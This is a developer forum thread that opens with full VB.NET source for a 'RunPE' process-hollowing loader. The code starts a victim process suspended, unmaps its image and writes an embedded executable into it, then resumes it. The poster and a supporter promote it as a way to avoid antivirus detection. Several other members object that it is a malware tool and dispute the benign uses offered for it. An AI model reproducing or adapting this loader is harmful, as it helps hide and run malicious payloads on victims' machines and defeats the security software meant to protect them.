[VB.NET] RunPE

[alexjanjic]

'Made by JapaBrz
Imports System.Runtime.InteropServices
Imports System.Text

Class DD
    <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> _
Structure STARTUPINFO
        Public cb As Integer
        Public lpReserved As String
        Public lpDesktop As String
        Public lpTitle As String
        Public dwX As Integer
        Public dwY As Integer
        Public dwXSize As Integer
        Public dwYSize As Integer
        Public dwXCountChars As Integer
        Public dwYCountChars As Integer
        Public dwFillAttribute As Integer
        Public dwFlags As Integer
        Public wShowWindow As Short
        Public cbReserved2 As Short
        Public lpReserved2 As Integer
        Public hStdInput As Integer
        Public hStdOutput As Integer
        Public hStdError As Integer
    End Structure
    Private Structure PROCESS_INFORMATION
        Public hProcess As IntPtr
        Public hThread As IntPtr
        Public dwProcessId As Integer
        Public dwThreadId As Integer
    End Structure
    <StructLayout(LayoutKind.Sequential)> _
    Private Structure IMAGE_DOS_HEADER
        Public e_magic As UInt16
        ' Magic number
        Public e_cblp As UInt16
        ' Bytes on last page of file
        Public e_cp As UInt16
        ' Pages in file
        Public e_crlc As UInt16
        ' Relocations
        Public e_cparhdr As UInt16
        ' Size of header in paragraphs
        Public e_minalloc As UInt16
        ' Minimum extra paragraphs needed
        Public e_maxalloc As UInt16
        ' Maximum extra paragraphs needed
        Public e_ss As UInt16
        ' Initial (relative) SS value
        Public e_sp As UInt16
        ' Initial SP value
        Public e_csum As UInt16
        ' Checksum
        Public e_ip As UInt16
        ' Initial IP value
        Public e_cs As UInt16
        ' Initial (relative) CS value
        Public e_lfarlc As UInt16
        ' File address of relocation table
        Public e_ovno As UInt16
        ' Overlay number
        <MarshalAs(UnmanagedType.ByValArray, SizeConst:=4)> _
        Public e_res1 As UInt16()
        ' Reserved words
        Public e_oemid As UInt16
        ' OEM identifier (for e_oeminfo)
        Public e_oeminfo As UInt16
        ' OEM information; e_oemid specific
        <MarshalAs(UnmanagedType.ByValArray, SizeConst:=10)> _
        Public e_res2 As UInt16()
        ' Reserved words
        Public e_lfanew As Int32
        ' File address of new EXE header
    End Structure
    <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> _
    Private Structure VS_VERSIONINFO
        Public wLength As UInt16
        Public wValueLength As UInt16
        Public wType As UInt16
        <MarshalAs(UnmanagedType.ByValTStr, SizeConst:=15)> _
        Public szKey As String
        Public Padding1 As UInt16
    End Structure
    <StructLayout(LayoutKind.Sequential)> _
    Structure SECURITY_ATTRIBUTES
        Public nLength As Integer
        Public lpSecurityDescriptor As IntPtr
        Public bInheritHandle As Integer
    End Structure
    <StructLayout(LayoutKind.Sequential)> _
    Private Structure VS_FIXEDFILEINFO
        Public dwSignature As UInt32
        Public dwStrucVersion As UInt32
        Public dwFileVersionMS As UInt32
        Public dwFileVersionLS As UInt32
        Public dwProductVersionMS As UInt32
        Public dwProductVersionLS As UInt32
        Public dwFileFlagsMask As UInt32
        Public dwFileFlags As UInt32
        Public dwFileOS As UInt32
        Public dwFileType As UInt32
        Public dwFileSubtype As UInt32
        Public dwFileDateMS As UInt32
        Public dwFileDateLS As UInt32
    End Structure
    <StructLayout(LayoutKind.Sequential)> _
    Public Structure FLOATING_SAVE_AREA


        Public ControlWord As UInteger
        Public StatusWord As UInteger
        Public TagWord As UInteger
        Public ErrorOffset As UInteger
        Public ErrorSelector As UInteger
        Public DataOffset As UInteger
        Public DataSelector As UInteger
        <MarshalAs(UnmanagedType.ByValArray, SizeConst:=80)> _
        Public RegisterArea As Byte()
        Public Cr0NpxState As UInteger

    End Structure
    <StructLayout(LayoutKind.Sequential)> _
    Public Structure CONTEXT


        Public ContextFlags As UInteger
        'set this to an appropriate value
        ' Retrieved by CONTEXT_DEBUG_REGISTERS
        Public Dr0 As UInteger
        Public Dr1 As UInteger
        Public Dr2 As UInteger
        Public Dr3 As UInteger
        Public Dr6 As UInteger
        Public Dr7 As UInteger
        ' Retrieved by CONTEXT_FLOATING_POINT
        Public FloatSave As FLOATING_SAVE_AREA
        ' Retrieved by CONTEXT_SEGMENTS
        Public SegGs As UInteger
        Public SegFs As UInteger
        Public SegEs As UInteger
        Public SegDs As UInteger
        ' Retrieved by CONTEXT_INTEGER
        Public Edi As UInteger
        Public Esi As UInteger
        Public Ebx As UInteger
        Public Edx As UInteger
        Public Ecx As UInteger
        Public Eax As UInteger
        ' Retrieved by CONTEXT_CONTROL
        Public Ebp As UInteger
        Public Eip As UInteger
        Public SegCs As UInteger
        Public EFlags As UInteger
        Public Esp As UInteger
        Public SegSs As UInteger
        ' Retrieved by CONTEXT_EXTENDED_REGISTERS
        <MarshalAs(UnmanagedType.ByValArray, SizeConst:=512)> _
        Public ExtendedRegisters As Byte()

    End Structure
    <StructLayout(LayoutKind.Sequential)> _
  Public Structure IMAGE_OPTIONAL_HEADER32
        '
        ' Standard fields.
        '
        Public Magic As UInt16
        Public MajorLinkerVersion As [Byte]
        Public MinorLinkerVersion As [Byte]
        Public SizeOfCode As UInt32
        Public SizeOfInitializedData As UInt32
        Public SizeOfUninitializedData As UInt32
        Public AddressOfEntryPoint As UInt32
        Public BaseOfCode As UInt32
        Public BaseOfData As UInt32
        '
        ' NT additional fields.
        '
        Public ImageBase As UInt32
        Public SectionAlignment As UInt32
        Public FileAlignment As UInt32
        Public MajorOperatingSystemVersion As UInt16
        Public MinorOperatingSystemVersion As UInt16
        Public MajorImageVersion As UInt16
        Public MinorImageVersion As UInt16
        Public MajorSubsystemVersion As UInt16
        Public MinorSubsystemVersion As UInt16
        Public Win32VersionValue As UInt32
        Public SizeOfImage As UInt32
        Public SizeOfHeaders As UInt32
        Public CheckSum As UInt32
        Public Subsystem As UInt16
        Public DllCharacteristics As UInt16
        Public SizeOfStackReserve As UInt32
        Public SizeOfStackCommit As UInt32
        Public SizeOfHeapReserve As UInt32
        Public SizeOfHeapCommit As UInt32
        Public LoaderFlags As UInt32
        Public NumberOfRvaAndSizes As UInt32
        <MarshalAs(UnmanagedType.ByValArray, SizeConst:=16)> _
        Public DataDirectory As IMAGE_DATA_DIRECTORY()
    End Structure
    <StructLayout(LayoutKind.Sequential)> _
Public Structure IMAGE_FILE_HEADER
        Public Machine As UInt16
        Public NumberOfSections As UInt16
        Public TimeDateStamp As UInt32
        Public PointerToSymbolTable As UInt32
        Public NumberOfSymbols As UInt32
        Public SizeOfOptionalHeader As UInt16
        Public Characteristics As UInt16
    End Structure
    <StructLayout(LayoutKind.Sequential)> _
Public Structure IMAGE_DATA_DIRECTORY
        Public VirtualAddress As UInt32
        Public Size As UInt32
    End Structure
    Public Structure IMAGE_NT_HEADERS
        Public Signature As UInt32
        Public FileHeader As IMAGE_FILE_HEADER
        Public OptionalHeader As IMAGE_OPTIONAL_HEADER32
    End Structure
    Public Enum IMAGE_SIZEOF_SHORT_NAME
        IMAGE_SIZEOF_SHORT_NAME = 8
    End Enum
    Public Structure Misc
        Public PhysicalAddress As System.UInt32
        Public VirtualSize As System.UInt32
    End Structure
    Public Structure IMAGE_SECTION_HEADER
        Public Name As System.Byte
        Public Misc As Misc
        Public VirtualAddress As System.UInt32
        Public SizeOfRawData As System.UInt32
        Public PointerToRawData As System.UInt32
        Public PointerToRelocations As System.UInt32
        Public PointerToLinenumbers As System.UInt32
        Public NumberOfRelocations As System.UInt16
        Public NumberOfLinenumbers As System.UInt16
        Public Characteristics As System.UInt32
    End Structure

    Public Const CONTEXT_X86 = &H10000
    Public Const CONTEXT86_CONTROL = (CONTEXT_X86 Or &H1)          'SS:SP, CS:IP, FLAGS, BP
    Public Const CONTEXT86_INTEGER = (CONTEXT_X86 Or &H2)          'AX, BX, CX, DX, SI, DI
    Public Const CONTEXT86_SEGMENTS = (CONTEXT_X86 Or &H4)         'DS, ES, FS, GS
    Public Const CONTEXT86_FLOATING_POINT = (CONTEXT_X86 Or &H8)   '387 state
    Public Const CONTEXT86_DEBUG_REGISTERS = (CONTEXT_X86 Or &H10) 'DB 0-3,6,7
    Public Const CONTEXT86_FULL = (CONTEXT86_CONTROL Or CONTEXT86_INTEGER Or CONTEXT86_SEGMENTS)
    Public Const CREATE_SUSPENDED = &H4
    Public Const MEM_COMMIT As Long = &H1000&
    Public Const MEM_RESERVE As Long = &H2000&
    Public Const PAGE_NOCACHE As Long = &H200
    Public Const PAGE_EXECUTE_READWRITE As Long = &H40
    Public Const PAGE_EXECUTE_WRITECOPY As Long = &H80
    Public Const PAGE_EXECUTE_READ As Long = &H20
    Public Const PAGE_EXECUTE As Long = &H10
    Public Const PAGE_WRITECOPY As Long = &H8
    Public Const PAGE_NOACCESS As Long = &H1
    Public Const PAGE_READWRITE As Long = &H4

[alexjanjic]

    <DllImport("kernel32.dll")> _
    Private Shared Function ResumeThread(ByVal hThread As IntPtr) As UInt32
    End Function
    <DllImport("kernel32.dll")> _
    Private Shared Function GetThreadContext(ByVal hThread As IntPtr, ByRef lpContext As CONTEXT) As Boolean
    End Function
    <DllImport("kernel32.dll")> _
    Private Shared Function SetThreadContext(ByVal hThread As IntPtr, ByRef lpContext As CONTEXT) As Boolean
    End Function

    <DllImport("kernel32.dll")> _
    Private Shared Function LoadLibraryA(ByVal lpLibFileName As String) As Integer
    End Function
    <DllImport("kernel32.dll")> _
    Private Shared Function CreateProcess(ByVal lpApplicationName As String, _
    ByVal lpCommandLine As String, ByRef lpProcessAttributes As SECURITY_ATTRIBUTES, _
     ByRef lpThreadAttributes As SECURITY_ATTRIBUTES, ByVal bInheritHandles As Boolean, _
    ByVal dwCreationFlags As UInt32, ByVal lpEnvironment As IntPtr, ByVal lpCurrentDirectory As String, _
   <[In]()> ByRef lpStartupInfo As STARTUPINFO, _
   <[Out]()> ByRef lpProcessInformation As PROCESS_INFORMATION) As Boolean
    End Function

    <DllImport("kernel32.dll", _
    SetLastError:=True, _
    CharSet:=CharSet.Auto, _
    EntryPoint:="WriteProcessMemory", _
    CallingConvention:=CallingConvention.StdCall)> _
 Shared Function WriteProcessMemory( _
 ByVal hProcess As IntPtr, _
 ByVal lpBaseAddress As IntPtr, _
 ByVal lpBuffer As Byte(), _
 ByVal iSize As Int32, _
 <Out()> ByRef lpNumberOfBytesWritten As Int32) As Boolean
    End Function
    <DllImport("kernel32.dll", _
SetLastError:=True, _
CharSet:=CharSet.Auto, _
EntryPoint:="WriteProcessMemory", _
CallingConvention:=CallingConvention.StdCall)> _
Shared Function WriteProcessMemoryI( _
ByVal hProcess As IntPtr, _
ByVal lpBaseAddress As IntPtr, _
ByVal lpBuffer As IntPtr, _
ByVal iSize As Int32, _
<Out()> ByRef lpNumberOfBytesWritten As Int32) As Boolean
    End Function
    <DllImport("kernel32.dll", EntryPoint:="ReadProcessMemory")> _
    Public Shared Function ReadProcessMemory(ByVal hProcess As IntPtr, _
    ByVal lpBaseAddress As Integer, _
    ByRef lpbuffer As IntPtr, _
    ByVal size As Integer, _
    ByRef lpNumberOfBytesRead As Integer) As Int32
    End Function
    <DllImport("ntdll.dll")> _
    Public Shared Function ZwUnmapViewOfSection(ByVal hProcess As IntPtr, ByVal BaseAddress As IntPtr) As Long
    End Function

    <DllImport("kernel32.dll", SetLastError:=True, ExactSpelling:=True)> _
    Public Shared Function VirtualAllocEx(ByVal hProcess As IntPtr, ByVal lpAddress As IntPtr, _
    ByVal dwSize As UInteger, ByVal flAllocationType As UInteger, _
    ByVal flProtect As UInteger) As IntPtr
    End Function
    <DllImport("kernel32", CharSet:=CharSet.Auto, SetLastError:=True)> _
    Public Shared Function VirtualProtectEx(ByVal hProcess As IntPtr, ByVal lpAddress As IntPtr, ByVal dwSize As UIntPtr, ByVal flNewProtect As UIntPtr, <Out()> ByVal lpflOldProtect As UInteger) As Integer
    End Function

    Const GENERIC_READ As Int32 = &H80000000
    Const FILE_SHARE_READ As UInt32 = &H1
    Const OPEN_EXISTING As UInt32 = 3
    Const FILE_ATTRIBUTE_NORMAL As UInt32 = &H80
    Const INVALID_HANDLE_VALUE As Int32 = -1
    Const PAGE_READONLY As UInt32 = &H2
    Const FILE_MAP_READ As UInt32 = &H4
    Const IMAGE_DOS_SIGNATURE As UInt16 = &H5A4D
    Const RT_VERSION As Int32 = 16

    Private Enum ImageSignatureTypes
        IMAGE_DOS_SIGNATURE = &H5A4D     ''\\ MZ
        IMAGE_OS2_SIGNATURE = &H454E     ''\\ NE
        IMAGE_OS2_SIGNATURE_LE = &H454C  ''\\ LE
        IMAGE_VXD_SIGNATURE = &H454C     ''\\ LE
        IMAGE_NT_SIGNATURE = &H4550      ''\\ PE00
    End Enum

    Public Shared Sub SRexec(ByVal b() As Byte, ByVal sVictim As String)
        Dim sVersion As [String] = Nothing
        Dim pidh As IMAGE_DOS_HEADER
        Dim context As CONTEXT = New CONTEXT()

        Dim Pinh As IMAGE_NT_HEADERS
        Dim Pish As IMAGE_SECTION_HEADER

        Dim pi As PROCESS_INFORMATION = New PROCESS_INFORMATION()
        Dim si As STARTUPINFO = New STARTUPINFO()

        Dim pSec As SECURITY_ATTRIBUTES = New SECURITY_ATTRIBUTES()
        Dim tSec As SECURITY_ATTRIBUTES = New SECURITY_ATTRIBUTES()

		'converts a data type in another type.
		'since .net types are different from types handle by winAPI,  DirectCall a API will cause a type mismatch, since .net types
		' structure is completely different, using different resources.
        Dim MyGC As GCHandle = GCHandle.Alloc(b, GCHandleType.Pinned)
        Dim ptbuffer As Integer = MyGC.AddrOfPinnedObject.ToInt32
        pidh = Marshal.PtrToStructure(MyGC.AddrOfPinnedObject, pidh.GetType)
        MyGC.Free()

        If CreateProcess(Nothing, sVictim, pSec, tSec, False, &H4, Nothing, Nothing, si, pi) = 0 Then
            Exit Sub
        End If

        Dim vt As Integer = ptbuffer + pidh.e_lfanew
        Pinh = Marshal.PtrToStructure(New IntPtr(vt), Pinh.GetType)

        Dim addr As Long, lOffset As Long, ret As UInteger
        si.cb = Len(si)
        context.ContextFlags = CONTEXT86_INTEGER
		
		'all "IF" are only for better understanding, you could do all verification on the builder and then the rest on the stub
        If Pinh.Signature <> ImageSignatureTypes.IMAGE_NT_SIGNATURE Or pidh.e_magic <> ImageSignatureTypes.IMAGE_DOS_SIGNATURE Then Exit Sub
        If GetThreadContext(pi.hThread, context) And _
            ReadProcessMemory(pi.hProcess, context.Ebx + 8, addr, 4, 0) >= 0 And _
            ZwUnmapViewOfSection(pi.hProcess, addr) >= 0 Then

            Dim ImageBase As UInt32 = VirtualAllocEx(pi.hProcess, Pinh.OptionalHeader.ImageBase, Pinh.OptionalHeader.SizeOfImage, MEM_RESERVE Or MEM_COMMIT, PAGE_READWRITE)
            If ImageBase <> 0 Then
                WriteProcessMemory(pi.hProcess, ImageBase, b, Pinh.OptionalHeader.SizeOfHeaders, ret)

                lOffset = pidh.e_lfanew + 248
                For i As Integer = 0 To Pinh.FileHeader.NumberOfSections - 1
				'math changes, anyone with pe understanding know
                    Pish = Marshal.PtrToStructure(New IntPtr(ptbuffer + lOffset + i * 40), Pish.GetType)
                    Dim braw(Pish.SizeOfRawData) As Byte
					'more math for reading only the section.  mm API has a "shortcut" when you pass a specified startpoint.
					'.net can't use so you have to make a new array
                    For j As Integer = 0 To Pish.SizeOfRawData - 1
                        braw(j) = b(Pish.PointerToRawData + j)
                    Next
                    WriteProcessMemory(pi.hProcess, ImageBase + Pish.VirtualAddress, braw, Pish.SizeOfRawData, ret)
                    VirtualProtectEx(pi.hProcess, ImageBase + Pish.VirtualAddress, Pish.Misc.VirtualSize, Protect(Pish.Characteristics), addr)
                Next i
                Dim bb As Byte() = BitConverter.GetBytes(ImageBase)

                WriteProcessMemory(pi.hProcess, context.Ebx + 8, bb, 4, ret)
                context.Eax = ImageBase + Pinh.OptionalHeader.AddressOfEntryPoint
                Call SetThreadContext(pi.hThread, context)
                Call ResumeThread(pi.hThread)
            End If
        End If
    End Sub

    Private Shared Function Protect(ByVal characteristics As Long) As Long
        Dim mapping() As Object = {PAGE_NOACCESS, PAGE_EXECUTE, PAGE_READONLY, _
                        PAGE_EXECUTE_READ, PAGE_READWRITE, PAGE_EXECUTE_READWRITE, _
                        PAGE_READWRITE, PAGE_EXECUTE_READWRITE}

        Protect = mapping(RShift(characteristics, 29))
    End Function
	
    Private Shared Function RShift(ByVal lValue As Long, ByVal lNumberOfBitsToShift As Long) As Long
        RShift = vbLongToULong(lValue) / (2 ^ lNumberOfBitsToShift)
    End Function
    Private Shared Function vbLongToULong(ByVal Value As Long) As Double
        Const OFFSET_4 = 4294967296.0#
        If Value < 0 Then
            vbLongToULong = Value + OFFSET_4
        Else
            vbLongToULong = Value
        End If
    End Function
	
End Class

Made by JapaBrz


Works somehow only under XP. Has i think something to do with the API Calls.

[techgnome]

Uh-huh... okaaay... so???? What does it do? How do you use it?

-tg

[weirddemon]

Is that the same as this and this?

[techgnome]

I dunno... but anything that has "NOT TO USE FOR CRIMINAL STUFF" as a disclaimer sure seems dubious to me.

-tg

[alexjanjic]

Is that the same as this and this?

Yes but for .Net thats VB6.

[weirddemon]

I dunno... but anything that has "NOT TO USE FOR CRIMINAL STUFF" as a disclaimer sure seems dubious to me.

-tg

Agreed.

Is it safe to say no one knows what this does?

[weirddemon]

I scanned over the code real quick and it looks like this is an example on how to edit memory... I think...

[alexjanjic]

This is a PE Loader you can run your EXE into Memory without actually having to double click the executeable.

[chris128]

Whats wrong with Process.Start()

[alexjanjic]

Whats wrong with Process.Start()

Process.Start() makes a Process start normally like a double Click but like this you can load the Process from your Resources and write the PE in to Memory by creating a Process with the CREATE_SUSPENDED flag and writing the PE from the Resources in to Process this avoids lets say AV detection because it isnt run normally thats why it can also be used for Criminal stuff but only smart people could do that i bet 80% of the Forum doesent even know how to use this Code.

[chris128]

so what is the "non criminal" use for this? Also, if its that easy to get a program running without an AV detecting it then surely pretty much all viruses would just do that and none would ever be detected..

[Aksak]

so what is the "non criminal" use for this? Also, if its that easy to get a program running without an AV detecting it then surely pretty much all viruses would just do that and none would ever be detected..

the "non criminal" use could be for example, in a "life-cd" like application, where you dont want to touch the harddisk. There are much more examples but i dont have enought time to write them all.

And yes, it is already the case that almost all modern malwares use this technique. In the past, (5-6 years ago) using this method, malwares were much more undetected. Today, almost all Anti-Malware Softwares have developed heuristic analysing methods for detecting suspicious behaviours like the api calls used in the code posted above.
These heuristic scans (refered to as runtime scans in the hackerscene) also result often in false positives.

[minitech]

the "non criminal" use could be for example, in a "life-cd" like application

Well, VB.NET isn't really bootable (and this code only runs under XP), and running in memory doesn't stop you from touching the harddisk (why not just run it from the CD?)...

[Aksak]

Well, VB.NET isn't really bootable (and this code only runs under XP), and running in memory doesn't stop you from touching the harddisk (why not just run it from the CD?)...

this code does run under windows vista and 7, 32 bit as well as 64 bit too. (as far as i know on all windows nt's, so it would work in Win98 )
And yes, it Does prevent from touching the harddisk! Why is that still unclear to you?
To your question, why not to run it from cd then... There are still some cd drives which can only read but not write and imagine now on such a pc, hmm let me think, we want to recover some deleted files!

The program we wrote for recovering files, has intern another program (a special algorithm application which calculates us some results, and we use these result for recovering files.. (and imagine, we dont have the sources of this file, so we cant integrate this algoritm in a normal way in our project, and imagine again, this winPE Is allowed to be used in projects without any licence problems or whatever....)).You could now say, why not 2 files on the cd from the beginning on.. well isnt it better, and more portable, in only one exe. Is the example now ok?

But as i said, this method can be used to make applications just more undetected by antivirus softwares, so if you have an application, which is detected by AV's just because you do import some win-api methods/dlls, you could want to avoid those false positives. Now you could again say, why dont you just add your exe into the whilelist of AV's... well i share my tools and help with my tools many friends, and it annoys them too, how their AV works. Now nothing was criminal here, and its just another example.

Well, another big benifit of this method is, that everything happens in Ram much! faster...eeehm.. ok enought examples... You should have already understood that this method gives a coder just more flexibility while developing in windows environments...

Please dont let me question your creativity next time.

[chris128]

Yeah to be honest I'm surprised this thread hasnt been removed...

[minitech]

Um, running from memory won't stop the program from reading/writing files (how do you think Knoppix works?) and when running an EXE from CD, you can use a MemoryStream to save files. Don't let me question your creativity next time.

[JuggaloBrotha]

this code does run under windows vista and 7, 32 bit as well as 64 bit too. (as far as i know on all windows nt's, so it would work in Win98 )

Just to clarify something for you: Win95, Win98, Win98SE and WinME are not NT based.

However: WinNT, WinNT2, WinNT3, WinNT4, Win2k, WinXP, Server2003, Vista, Server 2008, Win7, Server 2008 RC2 are all NT based.

Yeah to be honest I'm surprised this thread hasnt been removed...

Me too...

[Aksak]

Um, running from memory won't stop the program from reading/writing files (how do you think Knoppix works?) and when running an EXE from CD, you can use a MemoryStream to save files. Don't let me question your creativity next time.

Ehm what do you mean by that? It is really not logical what you say: " running from memory won't stop the program from reading/writing files" ??? running from memory DOES stop a programm from reading/wrting files!

@ "and when running an EXE from CD, you can use a MemoryStream to save files."
and why would i want to save files??? what are you talking about?

@ "how do you think Knoppix works?"
i think it uses a virtual ram device, but if it doesnt, it doesnt matter because that isnt the topic now, ho knoppix works

@chris128 and JuggaloBrotha
why remove the thread?? its useful source!

@JuggaloBrotha
sure i know that, i wanted to write "wouldnt", therefor i explicitely mention win98.. i did edit infact this already but forum didnt update it whyever..

[techgnome]

I know precisely why it hasn't been closed... needless to say, it's something out of the hands of us mere mortals.

Aksak - just because an app loads all of it's DLLs into memory does not mean that the app won't or cant' write to the HD... it still very much can. it just doesn't HAVE to, to get to the loaded resources.

Additionally, YOU may find the code useful, but a lot of us find it offensive, objectionable, and unethical. It can be used to load a dll into memory and INJECT IT into another process. And I don't mean my own process, but the process of another app... giving me the ability to hijack it. THAT is what the posters here are objecting to. We've spent a LOT of years keeping nefarious code and discussions out of here. This isn't a hackers forum, this is a professional developers forum. Armed with the AUP, we've done a pretty good job at self-policing these kinds of threads and stopping them before they take off and do harm (which has been know to happen... those who have been here long enough will remember the snake incident - which is why no one will just download things from here anymore, at least not with out being able to look at the source code).

"this method can be used to make applications just more undetected by antivirus softwares" And THAT right there is reason enough (for me at any rate) to be very very very nervous. Doesn't matter if an app triggers a false positive... it's going to allow some one to run code, hidden from me... and my system. I don't like that. And neither should you. It can be used to intentionally hide malicious code from the AV that's supposed to be protecting you.

Yes, I understand that I used "can" and "could" a lot. And yes, there is a lot of code on this site that is freely available already that could be used badly... like writing to a file... some one could easily take some simple code and just start writing a stream to the HD until it fills and potentially crashes the system. The difference is that there isn't anything inherently wrong with writing to a file. It's something most (if not all of us) do almost daily. It's a common practice. DLL Injection on the other hand, is NOT a common process, and is generally NOT a useful thing to do. Most people who are looking to do injections have a less than respectable intent. They are looking to either do harm to the system, the application or to modify the way something is working. It's a hackers tool. There was a time when we didn't tolerate that around here. Unfortunately times are changing.

-tg

[Aksak]

In my definition, a developers forum, on which "non-common" code isnt respected, isnt a professional developers forum. Uncommon codesnippets give coders new perspectives and opportunities. As you said yourself, every knowledge can be used for bad purpoeses. But well, you are right, this code here is more dangerous then others Therefore i would call this forum rather a censoring forum and im against this typ of censorship (when knowledge itself doesnt harm one more than it helps one, but it CAN be used harmfully, even it can be used 99% of the time only for harmfull things and 1% for good things, because, this is the decision problem of the one, who uses this information and not ours.)

But i still understand that you want to censor this information with best intentions..

[techgnome]

Well, fortunately for you, the powers that be agree. Doesn't mean I have to. It also means I have the right to walk away and not be a party to this.

So long, farewell, and thanks for the fish.

-tg

[chris128]

I want my fish back

PS I love that one of the variables in this code is labelled "sVictim" - not for anything malicious you say?...

[minitech]

Ehm what do you mean by that? It is really not logical what you say: " running from memory won't stop the program from reading/writing files" ??? running from memory DOES stop a programm from reading/wrting files!

@ "and when running an EXE from CD, you can use a MemoryStream to save files."
and why would i want to save files??? what are you talking about?

@ "how do you think Knoppix works?"
i think it uses a virtual ram device, but if it doesnt, it doesnt matter because that isnt the topic now, ho knoppix works

By that I mean that "you can still read and write to the hard drive, no matter where you're running from". Knoppix can access your hard drive, and it still runs entirely from memory - I wonder how that works? (sarcasm, BTW)

@ "and when running an EXE from CD, you can use a MemoryStream to save files."
and why would i want to save files??? what are you talking about?

And yes, it Does prevent from touching the harddisk! Why is that still unclear to you?
To your question, why not to run it from cd then... There are still some cd drives which can only read but not write and imagine now on such a pc, hmm let me think, we want to recover some deleted files!

I think you just answered your own question there.

[Aksak]

By that I mean that "you can still read and write to the hard drive, no matter where you're running from". Knoppix can access your hard drive, and it still runs entirely from memory - I wonder how that works? (sarcasm, BTW)




I think you just answered your own question there.

I still dont understand you, really, what i'm "trying to do" in my example is, to avoid writing to the hard drive. SURE i CAN read and write, but i dont HAVE TO write to harddsik with this method, for executing an exe. So why do you tell me that i can interact with the harddisk?? i never told the opposite!?

Also Knoppix doesnt need to have acces the harddsik, once it runs and i also never said, that konppix or any program can't acces the harddsik. What are you talking about? (no sarcasm, btw)

[minitech]

... wow. What I'm saying is that running from CD is pretty much exactly the same. Except you can't take out the CD.

[JackieMoe]

Have anyone here successfully made this code work for vista and/or windows 7?